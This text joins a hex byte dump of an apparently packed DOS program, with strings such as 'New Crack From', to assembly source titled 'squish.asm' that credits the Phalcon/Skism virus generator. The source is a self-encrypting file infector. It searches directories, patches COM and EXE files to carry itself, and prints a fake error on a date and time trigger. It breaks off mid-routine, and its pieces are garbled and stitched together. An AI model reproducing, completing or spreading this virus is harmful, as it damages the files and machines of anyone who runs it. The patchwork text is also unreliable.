db b0,1f,98,8b,c8,40,87,f0,8b,d0,e3,0e,f1,61,a3,3c,7a,77,7f,f8
db 02,2c,20,aa,e2,f2,b0,3d,cb,1e,8e,1e,c8,f0,43,02,fc,2c,00,33
db f6,80,3c,8c,11,fc,ff,ca,8b,ca,f3,a6,74,08,4e,ac,0a,c0,75,fb
db 1f,fe,eb,ea,8b,fe,1e,07,7f,b9,00,01,f2,ae,f6,1e,ae,d1,e0,e1
db 8a,c1,aa,4f,1f,8b,e5,f7,ea,fe,9d,ff,ff,db,f1,e8,2a,00,bf,ea
db 02,1e,6e,f1,1f,03,ef,14,f7,9a,1c,06,39,f1,ea,03,ed,0c,71,f4
db ed,f7,9a,21,ed,a1,f2,b4,0f,ff,f0,e8,d3,05,3c,07,74,0a,3c,03
db 57,b8,03,00,e1,ff,e8,56,fd,a1,00,b4,08,32,ff,e8,bb,05,8a,ff
db 0f,c4,24,7f,a2,e6,02,a2,dc,02,33,c0,a2,d7,e1,ff,f8,e7,fd,e8
db 02,40,a2,d6,02,b8,40,00,8e,ff,c7,c0,bf,6c,00,26,8a,05,26,3a
db 05,74,fb,f8,21,fc,b9,ff,ce,3f,e7,37,00,91,f7,d0,1f,fe,33,d2
db f7,f1,a3,e2,86,0e,1f,ba,2f,01,b8,1d,ff,1b,25,b5,f1,c3,ba,cd
db c2,26,80,26,87,00,08,7f,fe,91,05,04,72,02,b0,03,50,b4,f8,3f
db 92,54,05,58,0a,e4,74,2d,b8,12,11,b3,fc,c3,f3,47,05,b8,30,11
db b7,00,b2,f6,3d,1f,02,05,80,fa,2a,75,16,ce,0e,ce,00,fc,bc,fd
db 08,06,e8,29,05,b4,3f,de,12,b3,20,e8,22,05,c3,49,1c,05,50,d4
db fe,f0,0f,11,bd,b1,00,0a,d2,75,08,b2,18,ff,c3,39,77,02,b1,01
db 8a,f2,8a,d4,fe,ca,a3,80,ff,ff,fe,18,76,02,b4,01,a3,da,02,89
db 16,e4,02,88,0e,d9,1f,c6,02,c6,06,d8,02,01,32,a3,de,ee,ff,87
db e0,02,c3,50,1e,b8,57,01,8e,d8,80,3e,2c,03,3c,00,74,05,e3,21
db 01,1f,58,cf,c0,53,f1,f8,00,75,01,c3,f0,00,18,00,c1,cd,16,50
db b4,fe,ff,fa,eb,f4,b0,5e,e8,18,03,b0,43,e8,13,03,e8,09,ff,c3
db 03,cd,23,8b,dc,36,8b,47,04,e8,23,06,6e,0d,78,ff,a0,d8,f3,ca
db d0,eb,8a,57,0a,18,86,fc,77,08,fc,4f,06,fc,ff,e1,6f,04,3a,d1
db 77,27,3a,f5,77,23,6e,78,1f,7f,f8,fe,ce,78,1b,fe,c9,3a,0e,72
db 77,13,fe,cd,43,c0,3a,2e,e5,f8,0b,76,72,00,85,0e,72,0c,03,c7
db e9,14,c3,10,06,8a,3e,b6,8b,0e,eb,8b,0f,f0,5d,e8,34,04,f9,f5
db e8,21,03,77,fa,cb,e8,16,03,e3,fe,ca,8a,e5,19,04,cb,b8,c3,9f
db 01,07,eb,ea,01,06,50,e8,f9,02,58,e2,f4,e5,8a,c8,8a,ee,c6,3a
db ee,75,0f,8c,02,32,c0,e8,f4,c7
db 'mC<uw'
db 04,7d,02,b3,72,17,3a,0e,87,e0,77,11,73,02,36,df,f2,07,08,09
db 3a,36,e1,f2,2d,be,0f,87,41,04,00,e8,b1,c1,c2,2a,06,db,21,04
db fe,c0,8f,a5,f4,c6,f4,40,82,dd,f4,bc,14,ff,e1,a8,f0,74,04,24
db 0f,0c,80,80,26,96,70,08,c2,4f,06,0f,ff,e6,24,07,b1,04,d2,e0
db a5,87,e8,8f,e8,fd,f4,f7,cb,80,0e,fa,a5,ff,08,cb,e2,f4,bb,8b
db 57,04,0b,d2,74,13,33,7b,80,ff,8e,c7,ca,e9,8b,1e,e2,33,98,8f
db c2,06,00,4a,75,f8,cd,b3,e9,4c,e2,e9,ff,f9,c3,d8,5f,04,b8,dd
db 34,ba,12,00,3b,d3,ff,ff,73,1a,f7,f3,8b,d8,e4,61,a8,03,75,08
db 0c,03,e6,61,ff,01,b0,b6,e6,43,8a,c3,e6,42,8a,c7,fc,61,80,cb
db e7,24,fc,eb,97,ed,0f,3e,e7,4b,f1,08,51,f2,b0,00,74,02,b0,01
db 30,7a,8b,ef,c6,06,eb,c1,e1,12,32,e4,c0,c3,e9,f8,0a,88,26,ef
db 0a,10,c6,e4,9b,b0,11,18,fe,70,3f,84,1e,36,c5,7f,04,c7,45,f0
db d7,fb,0f,3f,04,80,00,8d,85,fc,89,45,0c,8c,5d,0e,fc,5f,f1,10
db 59,03,8c,4d,12,c6,45,30,00,1f,e8,f1,7f,f8,d5,fd,b8,91,03,bb
db 6f,04,4d,81,7d,02,b1,e3,43,d7,74,0a,c6,b2,d7,b8,3e,ef,d8,08
db 0f,ca,14,d2,16,89,5d,18,0f,27,fa,1a,89,4d,1c,fa,1e,33,c0,c8
db fd,00,f8,d9,46,ca,8b,55,04,4a,4a,fa,3f,ff,60,26,c4,7d,0c,33
db db,68,0e,e8,5c,ff,b9,ff,ff,01,00,3c,08,74,34,3c,13,74,30,3c
db 04,74,44,49,3c,ff,ff,1b,74,27,3c,01,74,23,3c,06,74,37,3c,1a
db 74,46,3c,ff,ff,0d
db 'tO< r'
db cf,3b,da,74,cb,26,88,01,43,e8,ff,ff,98,00,3b,de,76,c0,8b,f3
db eb,bc,0b,db,74,b8,b0,08,3f,c0,e8,87,00,b0,20,e8,82,fb,f6,7d
db 1f,3e,00,4b,e2,ea,eb,a4,e0,74,a0,26,8a,01,fe,bf,ca,99,e8,6a
db 00,43,e2,ef,eb,91,80,3e,d7,e9,ff,20,e9,8a,bf,eb,0a,e8,4e,00
db 26,c7,01,0d,0a,11,02
db 'CCg[&F@'
db 0d,6b,48,0a,b9,da,88,f1,c4,10,c2,1c,59,4d,ee,29,fc,e3,04,ed
db 19,53,c4,d8,a8,f1,0b,53,f1,e8,ff,0f,1c,00,47,e2,f7,eb,03,e8
db 9c,00,e8,db,fc,c8,fb,c6,cf,fb,b0,0d,d9,e1,b0,0a,53,bd,31,51
db 52,79,e9,72,00,58,20,e1,2a,2b,2d,fe,3f,44,33,3c,0a,74,35,b4
db 09,8a,1e,dc,02,32,fd,bd,14,52,e8,65,01,5a,fe,c2,81,ea,76,20
db 8a,ff,01,75,e9,eb,17,b4,0e,e8,51,01,eb,13,ed,3e,10,f3,74,0d
db fe,ca,eb,d3,e9,84,ff,9b,08,9b,2d,00,07,5a,59,5b,c3,fe,3e,68
db c6,5f,ea,76,18,fe,ce,9e,15,e9,e2,e0,0c,16,78,78,b1,59,c3,b4
db 03,a3,e9,0c,01,b4,7c,c3,9c,e9,05,01,1e,62,da,d8,e2,50,1f,31
db 00,1f,8b,da,8b,f7,47,6f,21,26,dc
db 'o,sk9G~'
db fd,c3,fc,3c,e8,6f,9b,a0,ff,8f,2c,e8,63,18,86,00,a1,07,72,c3
db 00,ad,cf,f1,eb,1c,e8,54,00,6d,13,6d,0f,e8,f0,a7,47,d8,78,ff
db eb,07,e8,3f,00,d3,00,df,47,aa,a6,e2,a6,e8,31,00,94,fc,f8,ff
db 89,94,8a,c6,f6,26,4a,00,32,f6,03,c2,8b,00,0f,c8,84,b4,b0,0e
db ee,eb,e3,29,eb,c5,42,fa,4a,b0,0f,f4,c1,fc,f0,f4,1f,c3,3b,f7
db 74,63,99,57,1e,06,87,07,8b,cf,2b,ce,b4,d9,02,8a,36,32,9e,ff
db bb,8a,c7,bf,ff,03,c3,d1,e0,8b,88,ff,f8,46,bb,83,c2,06,b8,00
db b8,80,ff,ff,3e,49,00,07,75,02,b4,b0,06,1f,8e,c0,fc,0a,db,74
db fe,f8,16,42,c9,ec,a8,01,75,fb,fa,fa,74,fb,8b,ff,7f,c3,ab,fb
db e2,ec,eb,06,8a,e7,ac,ab,e2,fc,07,1f,5f,ff,07,ed,f1,56,57,55
db 06,cd,10,07,5d,5f,5e,31,fb,ff,ff,f8,0b,ba,11,d9,da,8c,06,c8
db 02,33,ed,8b,c4,05,13,3f,fc,00,b1,04,d3,e8,8c,d2,4b,a3,a0,02
db a3,a2,87,10,02,03,06,9a,f9,a4,fd,ae,fe,ff,fd,b2,02,26,a1,02
db 00,2d,00,10,a3,b6,02,bf,ea,ff,ff,04,be,dd,01,b9,12,00,90,fc
db 2e,ac,b4,35,cd,21,89,ff,d6,1d,8c,45,02,83,c7,04,e2,f0,1c,d2
db ce,4c,d9,1c,d1,21,85,ba,d5,f8,23,f8,9d,f8,14,da,24,f8,c6,f8
db 3f,04,d2,b8,7b,c9,f0,0e,50,fe,b8,06,02,0e,5f,c1,28,05,43,e3
db fc,94,05,ec,03,ec,f8,0a,14,ec,85,ff,ff,05,cb,fb,83,c4,06,58
db 83,e7,1f,81,c7,96,00,80,fc,ff,f0,39,73,03,bf,ff,ff,57,b4,54
db bd,8b,ec,80,ff,bf,4e,16,01
db 'X[YZ^_]'
db 1f,07,cf,b8,d0,fd,ff,d5,b1,06,07,d9,c8,00,59,5b,eb,07,b8,ff
db 00,33,c9,33,fc,ff,db,24,fb,a3,c2,02,8b,c1,0b,c3,74,1f,a1,ff
db 3f,a6,02,0b,c0,74,11,8e,c0,26,3b,1e,10,00,74,06,fc,fd,30,14
db 00,eb,ed,8c,c3,2b,98,c1,83,eb,10,89,ff,8f,0e,c4,02,89,1e,c6
db 02,c4,1e,be,02,8c,c0,85,e1,cf,13,e9,c9,f5,a3,c0,fd,cc,02,c3
db 19,b8,12,01,68,06,53,cb,45,6a,1f,64,3d,50,fc,8b,b9,05,f4,f0
db 0d,25,1e,c5,15,1d,86,1e,f5,f2,f1,a1,b0,0b,06,b0,6f,f8,74,29
db bb,ef,01,7c,c1,a1,78,e8,32,00,bb,10,e0,fe,f4,1e,f4,e9,e8,40
db 0f,30,00,b0,3a,e8,55,f5,da,e8,35,84,34,e9,03,fa,07,dd,b4,4c
db 3c,fc,c1,2e,8a,07,0a,57,06,e8,38,00,43,8f,fb,eb,f3,c3,b1,64
db e6,b1,0a,ad,e1,eb,04,32,1f,3f,e4,f6,f1,04,30,50,be,58,8a,c4
db c3,50,0c,3d,fc,e8,01,f6,50,97,d1,e8,e8,03,0c,ff,f7,24,0f,e4
db 3c,3a,72,02,04,07,8a,c3,ff,d0,b4,06,b8,c3,00,02,1b,23,24,34
db 35,36,ff,fd
db '789:;<=>?u'
db b8,99,74,69,6d,65,ff,c3
db ' error '
db 00,20,61,74,fb,2e,1d,0e,0d,0a,48,e1,87,06,1a,cb,83,3e,0e,ff
db fb,17,c9,cb,a1,f9,e9,b5,fe,8b,f4,36,8e,ff,e1,44,02,26,3b,55
db 02,7f,07,7c,14,f8,05,72,78,80,0f,f3,06,7c,08,f1,f8,c3,c7,45
db 04,77,d8,b8,c9,00,e9,8d,d8,1f,3e,2b,f0,72,0d,81,ee,91,72,07
db 3b,36,ca,60,08,fa,e7,ca,e7,74,fd,ff,e7,c8,49,e9,f0,8b,fa,f7
db e1,50,52,8b,c6,f7,e3,8b,03,fc,d8,8b,c7,f4,ea,5a,58,03,d3,03
db ff,ff,d1,cb,55,8b,e9,0b,eb,74,60,0b,db,9c,79,0a,f7,d1,ff,e9
db f7,d3,83,c1,01,83,d3,00,0b,d2,f1,d0,f7,fd,7d,d2,05,e0,a1,d2
db 00,8b,f1,8b,fb,33,f2,bd,21,00,d1,f8,ff,ff,d3,2b,ce,1b,df,73
db 04,03,ce,13,df,f5,ff,85,d1,d0,d1,d2,4d,75,ea,9d,79,0f,c3,f8
db 09,f3,83,f7,05,eb,0d,fb,c0,f8,0a,5d,cb,5d,ea,e9,e9,e7,ff,07
db fd,83,e1,1f,74,06,d1,ea,d1,d8,e2,fa,18,0e,08,f4,e0,c0,f4,fd
db fd,90,7d,d1,f8,0a,cb,fc,8b,dc,8c,da,0a,d9,08,36,c5,77,bb,42
db 04,ac,aa,f9,ac,8e,da,29,d9,e6,fc,ea,0a,7c,78,e2,06,36,8b,4f
db e2,3a,c1,76,02,ed,0b,8a,b1,dc,ff,0a,cf,d6,8a,05,32,e4,ce,ff
db 71,f1,ef,0c,ca,08,8a,42,f1,ca,06,0b,fb,27,c9,7f,03,06,d9,03
db f1,2b,c1,72,13,40,b8,18,c2,ee,7d,02,1d,3b,b3,06,7b,2e,8b,c1
db eb,a5,b1,aa,8b,c8,b1,08,bf,ff,43,f8,73,aa,0d,98,ac,26,00,05
db 0d,1f,73,08,07,99,ff,87,f6,d0,03,f9,47,54,c6,83,61,f8,09,6e
db c9,9a,b9,7f,d5,7f,f8,e3,29,47,ac,3c,01,72,29,ed,ac,f2,ae,75
db 87,3f,1c,4f,eb,1f,7f,8b,d1,2b,d0,72,11,42,7e,c0,9f,a6,74,0e
db 2b,c8,7b,be,c3,ff,4a,75,f0,8c,eb,08,2b,f8,8b,c7,36,2b,47,15
db c6,04,1f,88,ff,b3,fd,8d,8a,25,99,f1,e3,3a,cc,13,cc,0a,c9,74
db 06,12,a6,d7,5b,75,02,3a,c4,5d,fe,f0,f2,b0,01,aa,0a,c2,aa,80
db c1,a3,68,4b,fe,0a,bf,d8,f1,eb,30,fd,06,ff,ea,03,ca,81,ec,00
db 02,8d,be,00,fa,92,1b,93,1e,a1,8b,5b,a1,46,06,48,b4,e1,d0,1b
db 91,63,89,f7,08,e5,06,1e,99,00,8c,99,df,ff,79,a9,ff,dc,58,29
db ea,b1,fe,62,91,f8,8a,ec,08,ac,0e,f4,6f,fe,15,aa,05,91,ac,fc
db 83,7e,9b,2a,a1,7e,43,a6,f8,10,08,a6,76,03,91,af,ff,86,c6,ec
db 03,8f,50,ab,fc,5c,ab,9a,ad,99,ab,fc,ef,fc,19,aa,94,c9,4c,ec
db e1,7e,fc,89,bc,a8,c1,04,92,f7,f3,92,25,e8,36,00,93,ff,ff,b8
db 80,00,b9,20,00,f6,c6,80,75,0a,d1,e3,d1,d2,fe,ff,f0,c8,e2,f3
db 32,c0,80,e6,7f,cb,c4,00,cd,3c,ff,87,9f,06,65,05,cd,37,06,ce
db 02,cd,35,e1,fd,ff,e1,fd,cd,39,d9,cd,3d,cb,e1,ff,a1,ef,8b,1e
db f0,4f,d0,fc,c8,2e,f7,26,9d,05,d1,e1,3f,86,fe,02,e9,03,d1,03
db d3,bc,e3,fa,1f,0c,02,f3,b1,05,d3,e3,fa,7b,ec,a3,c3,b7,d2,89
db 16,d2,c3,05,84,b4,2c,a3,d1,0e,ea,03,f1,fc,62,bb,f4,ed,92,c1
db ab,b8,b0,d7,fc,44,f8,73,ab,f5,ff,8d,45,74,ab,38,c4,8c,ec,c1
db 06,f9,c8,ed,7f,ab,b9,0e,00,f3,ab,ac,3c,4f,9c,99,4f,35,9f,25
db f2,35,c6,51,f3,0a,69,f2,17,c1,04,f8,06,f8,e8,ee,0c,f8,0b,c1
db 45,0e,01,c6,45,0a,33,e9,ba,1f,de,b1,d7,eb,08,ba,b2,fb,03,ba
db b3,d7,f5,be,3b,1c,45,02,3d,17,b9,12,3d,e9,74,0d,3d,ee,f7,7e
db 74,10,c7,c7,d9,66,00,eb,24,52,45,f2,24,00,b4,5f,5a,bd,55,02
db b9,fe,bb,10,00,e8,4a,93,d2,05,35,ac,b3,e3,ba,d5,74,b1,b2,fd
db ca,b4,18,61,0a,f8,b0,08,b5,67,0f,d0,e0,18,50,bb,14,ca,fd,58
db fa,d1,43,05,0c,bb,1c,f5,09,5f,b9,c1,fd,9b,b8,5d,fe,26,ff,19
db 37,d1,03,69,d1,5f,07,e5,a9,ff,7e,78,b3,33,c9,89,0d,b8,00,3d
db af,fc,0d,b0,02,ff,05,84,3f,f5,4a,74,02,b4,3c,80,7d,30,fc,7f
db 7f,09,8d,55,30,cd,21,72,4f,89,05,b8,9d,07,d8,43,d3,8b,d9,d6
db fc,29,8b,1d,ca,44,f8,7f,e7,b8,f2,07,8b,c8,8c,cb,f6,c2,80,75
db 11,fe,b3,c7,75,03,e8,26,00,b8,cd,d5,7e,b8,2b,b3,30,b5,4d,18
db 89,5d,1a,ef,1c,12,08,23,74,2e,b7,33,d2,db,b9,02,de,89,2d,80
db 43,78,2d,82,73,72,c0,eb,8b,ca,8b,d0,c2,05,a2,e9,8d,95,cc,e9
db fd,18,fa,f2,b4,3f,f3,73,1e,e1,33,db,3b,c7,f0,d8,74,20,80,ec
db 1a,38,43,eb,f2,57,5a,8b,d3,2b,d0,cf,91,ba,fd,b1,b4,40,40,d1
db bf,f2,0f,f4,04,26,c5,55,0c,7c,b1,83,f1,bf,72,0a,8b,10,a7,f2
db 99,f1,79,08,00,74,ab,61,61,f6,0a,f6,eb,ee,d0,f8,0a,bc,26,87
db 7d,58,4a,b1,b7,fc,72,07,2b,c1,98,b8,65,47,af,51,ff,db,f8,14
db 68,e0,fc,17,f4,1d,83,fb,04,76,06,55,fb,b4,3e,e6,fc,c7,ff,81
db e8,0c,98,e9,16,98,e8,16,a0,d2,02,ef,05,b4,3d,33,d2,eb,4f,b9
db 3c,ba,01,09,ac,95,4d,ea,a4,f1,cc,e9,1a,f8,63,f1,0f,f3,c4,e9
db '4~wP'
db c3,eb,4c,00,5a,58,26,52,f3,12,1e,51,f1,06,1f,70,2f,60,b4,c1
db 73,06,17,f1,eb,11,92,fd,ea,40,ad,cc,05,05,d1,d9,45,ea,5d,b0
db d9,8e,56,54,fc,d7,c1,75,0e,34,38,fc,73,e7,ea,38,ff,37,b1,5c
db a9,75,17,33,fd,09,33,e1,f6,43,b1,ef,77,fd,06,86,ec,c3,b4,3f
db ba,64,71,05,d8,ff,b9,ba,65,4e,fc,0a,e8,dc,ff,75,1b,1e,52,15
db fe,c5,56,4d,a1,7e,f3,be,5a,1f,72,06,3b,c1,10,3d,74,78,c2,b6
db da,a2,b3,3f,b9,dd,43,ca,b3,40,b9,ca,fd,10,e8,a6,ca,3f,e8,7f
db 58,0a,59,e9,1c,1e,51,26,f7,65,04,8b,c8,38,07,bd,0c,8a,e3,bf
db 59,bf,08,7b,25,d2,ea,75,04,8f,a1,8c,c2,0b,88,87,80,05,29,eb
db 1c,3b,cf,27,d4,74,17,89,0e,12,a6,e4,ff,af,e2,d0,50,05,98,0e
db 6e,fe,4a,a4,21,3b,d9,c5,a2,aa,fc,f3,f2,f7,03,93,e9,a4,ec,e2
db 92,eb,1e,3c,db,44,00,4e,c1,49,83,e1,37,f9,01,1d,33,db,0e,e8
db 8c,f8,2e,92,2d,7c,73,e9,13,8b,c1,8b,d3,e5,f8,0c,71,e5,12,f8
db 8f,e5,0b,2b,c1,1b,d3,72,05,b0,01,d5,05,f0,32,08,f4,1f,d2,d6
db f4,75,2b,74,c1,45,8c,eb,96,01,96,52,50,f2,fe,49,ea,5b,40,aa
db 59,f0,ab,7a,fc,58,a1,ab,f4,fd,ff,f4,e2,f9,8b,a8,0a,16,0f,41
db ' New Crac?'
db fc
db 'k From.'
db ff,0e,1a,3c,da,18,fd,21,1a,4f,fc,f8,0a,0c,da,0c,1a,09,b1,e8
db 04,c6,d8,f8,08,f8,07,f8,0b,f0,f8,0a,18,62,08,dc,0a,f4,b1,f5
db 09,84,66,f9,fa,03,f3,fc,06,f3,25,a6,fa,fc,ed,fd,f9,c7,f3,6c
db 51,05,f3,c2,f8,0a,0e,c8,f8,09,f9,ad,f8,0a,2c,14,f9,0f,d9,f8
db 14,fa,0b,da,f8,10,c1,b0,ee,d6,61,f8,09,da,ff,0c,b0,22,30,fa
db fd,86,fe,d2,82,c3,54,15,d1,15,66,f8,09,e6,fc,d3,f8,12,a5,fe
db d4,f8,0d,91,48,71,d4,d6,36,55,f8,11,45,54,ef,ff,d0,fd,67,d4
db 22,fd,e5,fd,55,e9,fc,f0,09,49,f8,0a,d3,f8,13,96,f7,66,f0,0b
db fc,12,da,ff,bf,0f
db 'The Up and Com'
db ff,e9
db 'cI Power In'
db f0,70,75,b8,01,74,f4,50,69,1b,f1,79,bd,84,ff,d1,c5,f8,09,68
db 0b
db 'Doc Tol'
db d3,ff,73,65,6e,59,0b
db 'Prof. FamHlk'
db ef,fd,54,61,ac,4c,fc,64,1f,3e,65,0b,53,68,6f,6b,cf,72,65,61
db 74,6d,34,04,de,74,ed,fc,6e,93,4d,84,12,2e,d1,a9,fc,5a,0a,34
db 32,d2,44,0d,ff,1f,0a,43,b1
db 'l SPyTE'
db ff,0f
db ' HQ - (404) ?'
db e1,c2,ff,2d,cd,3f,19,02,af,45,9c,53,10,b4,44,d1,0c,c0,eb,90
db 0c,ff,f8,2c,02,02,00,c5,f8,0c,00,f0,00,00,00,00,00,00,00,00
db b1,03,00,00,00,40,ab,01,25,01,71,00,92,01
PUSH ES
PUSH CS
POP DS
MOV CX, WORD PTR [Data0]
MOV SI, CX
DEC SI
MOV DI, SI
MOV BX, DS
ADD BX, WORD PTR [Data1]
MOV ES, BX
STD
REPNZ
MOVSB
PUSH BX
MOV AX, 002bh
PUSH AX
RETF
db 2e,8b,2e,08,00,8c,da,89,e8,3d,00,10,76,03,b8,00,10,29,c5,29
db c2,29,c3,8e,da,8e,c3,b1,03,d3,e0,89,c1,d1,e0,48,48,8b,f0,8b
db f8,f3,a5,09,ed,75,d8,fc,8e,c2,8e,db,31,f6,31,ff,ba,10,00,ad
db 89,c5,d1,ed,4a,75,05,ad,89,c5,b2,10,73,03,a4,eb,f1,31,c9,d1
db ed,4a,75,05,ad,89,c5,b2,10,72,22,d1,ed,4a,75,05,ad,89,c5,b2
db 10,d1,d1,d1,ed,4a,75,05,ad,89,c5,b2,10,d1,d1,41,41,ac,b7,ff
db 8a,d8,e9,13,00,ad,8b,d8,b1,03,d2,ef,80,cf,e0,80,e4,07,74,0c
db 88,e1,41,41,26,8a,01,aa,e2,fa,eb,a6,ac,08,c0,74,34,3c,01,74
db 05,88,c1,41,eb,ea,89,fb,83,e7,0f,81,c7,00,20,b1,04,d3,eb,8c
db c0,01,d8,2d,00,02,8e,c0,89,f3,83,e6,0f,d3,eb,8c,d8,01,d8,8e
db d8,e9,72,ff
db '*FAB*'
db 0e,1f,be,58,01,5b,83,c3,10,89,da,31,ff,ac,08,c0,74,16,b4,00
db 01,c7,8b,c7,83,e7,0f,b1,04,d3,e8,01,c2,8e,c2,26,01,1d,eb,e5
db ad,09,c0,75,08,81,c2,ff,0f,8e,c2,eb,d8,3d,01,00,75,da,8b,c3
db 8b,3e,04,00,8b,36,06,00,01,c6,01,06,02,00,2d,10,00,8e,d8,8e
db c0,31,db,fa,8e,d6,8b,e7,fb,2e,ff,2f,13,09,e5,13,17,13,20,05
db 05,0e,1e,0e,3d,05,14,0f,05,1a,05,06,1e,05,11,08,19,05,11,08
db 19,05,32,14,0a,0e,10,0a,39,09,20,09,0f,05,08,2d,05,0a,fa,13
db 00,08,01,00,ef,04,dc,00,01,00
@@ -0,0 +1,375 @@
; squish.asm : [$q–‹sH] by FâŽNk䤛hâ‹$Å
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'AI' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp al,5 ; Check date of week
jae time
time:
mov ah,2ch ; Get current time
int 21h
cmp ch,23 ; Check the hour
jae activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the
; screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal
; font, man.
int 10h ; Hey man, call the interrupt.
mov ah,09h ; Use DOS to print fake error
; message
mov dx,offset fake_msg
int 21h
mov ah,4ch ; Lets ditch.
int 21h ; "Make it so."
jmp exit_virus
creator db '[MPC]',0 ; Mass Produced Code Generator
virusname db '[$q–‹sH]',0
author db 'FâŽNk䤛hâ‹$Å',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,3230 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
